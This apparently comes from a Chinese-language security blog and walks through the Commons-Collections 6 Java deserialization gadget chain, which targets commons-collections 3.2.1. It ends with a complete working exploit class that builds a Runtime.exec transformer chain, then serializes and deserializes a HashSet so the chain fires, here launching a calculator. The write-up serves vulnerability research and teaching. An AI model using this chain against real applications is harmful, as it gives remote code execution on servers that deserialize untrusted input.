前言
前一篇分析了CC1的链子,这篇来分析一下针对高版本jdk的CC6,这一条也可以说是比较常用的链子了。
影响范围
在Jdk 7和8的⾼版本触发,没有版本限制
配置环境
    <dependencies>
        <dependency>
            <groupId>commons-collections</groupId>
            <artifactId>commons-collections</artifactId>
            <version>3.2.1</version>
        </dependency>
    </dependencies>
                	
                Commons-Collections-6
前面这一部分跟CC1的一样,只不过多了一个Faketransformer,目的是为了在序列化的时候不触发执行。
                
                
                跟随代码来到TiedMapEntry#TiedMapEntry,可以看到这里对this.map赋值为lazyMap类。
                
                
                经过hashSet.add方法后会调用getValue()方法,跟进一下该方法的实现。
                
                
                可以看到这里的map.get(key),所以上面对this.map赋值其实是为了调用lazyMap类的get方法。 触发lazyMap#get后就跟CC1一样可以执行代码了。
                
                
                那么这里多了一个lazyMap.remove去除前面加入的键值有什么意义么。
                
                
                尝试把lazyMap.remove那一行注释掉就可以发现在lazyMap类的get方法中无法进入if分支,也就无法到factory.transform()来执行指令。
                
                
                先看到实现序列化接口的HashSet类中的readObject方法,这里实例化了HashMap对象,并调用了map.put()方法。 而map.put()方法中的e参数只要可控即可利用。
                
                
                来到序列化的点可以看到这里writeObject方法,e为for循环获取到的key值。 所以把TiedMapEntry对象注入到HashMap的Key值中即可完成利用。
                
                
                
                
                EXP
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.HashSet;
import java.util.Map;
public class Poc1 {
    public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException {
        Transformer Faketransformer = new ChainedTransformer(new Transformer[]{});
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[]{}}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[]{}}),
                new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"/System/Applications/Calculator.app/Contents/MacOS/Calculator"})
        };
        Map map = new HashMap();
        Map lazyMap = LazyMap.decorate(map, Faketransformer);
        TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "test1");
        HashSet hashSet = new HashSet(1);
        hashSet.add(tiedMapEntry);
        lazyMap.remove("test1");
        // 通过反射覆盖原本的iTransformers,防止序列化时在本地执行命令
        Field field = ChainedTransformer.class.getDeclaredField("iTransformers");
        field.setAccessible(true);
        field.set(Faketransformer, transformers);
        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(hashSet);
        oos.close();
        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
        Object o = (Object) ois.readObject();
        
    }
}
                	
                There Is Nothing Below
                
                Turn at the next intersection.